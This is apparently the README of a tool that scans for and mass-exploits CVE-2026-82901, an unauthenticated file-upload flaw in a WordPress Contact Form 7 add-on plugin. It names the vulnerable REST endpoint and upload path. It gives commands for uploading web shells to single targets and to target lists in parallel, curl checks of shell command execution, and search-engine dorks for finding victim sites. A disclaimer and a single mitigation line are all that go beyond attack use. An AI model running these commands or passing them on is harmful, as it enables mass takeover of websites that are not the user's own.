一款针对 CVE-2026-82901 的扫描与批量利用工具——该漏洞是 WordPress 插件 Ultra Addons for Contact Form 7(Themefic)中的未认证任意文件上传漏洞(CWE-434,CVSS 3.1 9.8 严重),影响版本 ≤ 3.5.50。
提供两种界面:
⚠️ 仅限授权测试。 参见免责声明。
| 项目 | 详情 |
|---|---|
| CVE | CVE-2026-82901 |
| 插件 | ultimate-addons-for-contact-form-7(Ultra Addons for Contact Form 7) |
| 厂商 | Themefic |
| 类别 | CWE-434 — 危险类型文件的不受限上传 |
| 受影响版本 | ≤ 3.5.50 |
| 修复版本 | 3.5.51+ |
| CVSS 3.1 | 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证要求 | 无需认证(未认证) |
| 存在漏洞的函数 | uacf7_wpcf7_mail_components(PDF Generator 模块) |
| 攻击向量 | CF7 REST POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback,携带 signature 字段 |
| 写入路径 | /wp-content/uploads/uacf7-uploads/ |
| 影响 | 任意文件上传 → 当 PHP 在上传目录内执行时导致 RCE |
| 参考 | NVD · CVE.org |
利用条件: 必须启用 PDF Generator 模块,且表单中必须包含 uacf7_signature 字段。该模块默认处于禁用状态,因此并非所有运行受影响插件版本的站点都实际可被利用。
readme.txt 检测版本--form-url(/contact/),按目标解析results.jsonl(完整详情)+ hits.txt(成功目标)git clone https://github.com/tonydelouvre/CVE-2026-82901.git
cd CVE-2026-82901
pip install -r requirements.txt
requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tkinter随 Python 一起提供。如果缺失(Linux):sudo apt install python3-tk。
python gui_82901.py

工作流程:
/contact/(相对路径),或输入绝对 URL。check 或 exploit。表格行颜色:
| 颜色 | 含义 |
|---|---|
| 🟩 绿色 | shell_verified — 成功,shell 列已填充 |
| 🟨 黄色 | vuln_candidate_sig_field — 强候选 |
| 🟥 红色 | error |
辅助按钮:■ 停止(安全关闭)、清除日志、打开命中项、打开输出、导出 CSV。
# Fingerprint / candidate detection
python mass_82901.py -u https://target.tld --mode check
# Exploit (upload shell + verify)
python mass_82901.py -u https://target.tld --mode exploit \
--form-url https://target.tld/contact/ --shell-name wp_82901.php
# Mass mapping with a uniform form path (relative)
python mass_82901.py -l targets.txt --mode check -j 20 --form-url /contact/
# Mass exploit
python mass_82901.py -l targets.txt --mode exploit -j 10 --form-url /contact/
# Without --form-url -> per-target auto-discovery
python mass_82901.py -l targets.txt --mode exploit -j 10
targets.txt 格式# one URL per line
https://a.tld
# optional second column: a per-target form path/URL
https://b.tld /hubungi-kami/
https://c.tld | https://c.tld/custom-contact/
https://d.tld ; /kontak/
第二列分隔符可以是 TAB、| 或 ;。优先级:按目标覆盖 > 全局 --form-url > 自动发现。
| 参数 | 默认值 | 描述 |
|---|---|---|
-u, --url | — | 单个目标基础 URL |
-l, --list | — | 目标列表文件 |
--mode | check | check 或 exploit |
--form-url | — | 绝对 URL 或 相对路径(/contact/) |
--field | 自动 | 签名字段名称 |
--shell-name | wp_82901.php | 上传文件的名称 |
--verify-url | — | 已知的 shell URL |
-j, --threads | 10 | 工作线程数 |
--timeout | 25 | 请求超时(秒) |
--proxy | — | HTTP(S) 代理 |
--output | cve_2026_82901_results.jsonl | JSONL 结果文件 |
--vuln-list | hits.txt | 成功目标文件 |
-q, --quiet | 关闭 | 减少输出 |
| 状态 | 含义 |
|---|---|
not_found | 未检测到插件 |
not_vulnerable | 插件存在,版本 > 3.5.50(已修复) |
plugin_found_version_unknown | 插件存在,版本无法读取 |
plugin_ok_no_signature_field | 插件存在,无签名字段 → PDF 模块可能已关闭 |
vuln_candidate_sig_field | 插件 ≤ 3.5.50 且 存在签名字段 → 强候选 |
plugin_found_no_form | 插件存在,未找到 CF7 表单 |
shell_verified | 成功 — shell 已上传并执行 |
exploit_inconclusive | 已尝试上传,验证失败 |
error | 处理目标时发生异常 |
exploit_inconclusive?这并不意味着目标安全。可能的原因:
使用 check 模式筛选出 vuln_candidate_sig_field,然后使用正确的 --field/--shell-name 对单个目标运行 exploit。
在获得 shell_verified 状态后,测试执行:
curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php"
# -> POCBIT-82901-OK
curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php?c=id"
# -> POCBIT-82901-OK
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
POCBIT-82901-OK 标记是该工具用于验证执行情况的字符串。
用于查找目标的 Dorks(Google / FOFA / Shodan):
body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
body="uacf7" "wpcf7"
/wp-content/uploads/ 目录内的 PHP 执行(例如 php_flag engine off,阻止 .php 处理器)。本工具仅用于合法、经授权的安全测试,例如获得书面许可的渗透测试、在官方范围内的漏洞赏金计划,或对您自己拥有的系统进行安全研究。
使用本工具未经授权访问系统是违法的,可能构成刑事犯罪。作者对未经授权使用所造成的损害、数据丢失或法律后果不承担任何责任。
使用本工具即表示您声明对您输入的每个目标均拥有明确的测试许可。
.
├── gui_82901.py # GUI (Tkinter)
├── mass_82901.py # CLI version (patched, mass mode)
├── requirements.txt
├── README.md
├── LICENSE
└── docs/
└── screenshot.png # GUI screenshot
基于 MIT 许可证发布。参见 LICENSE。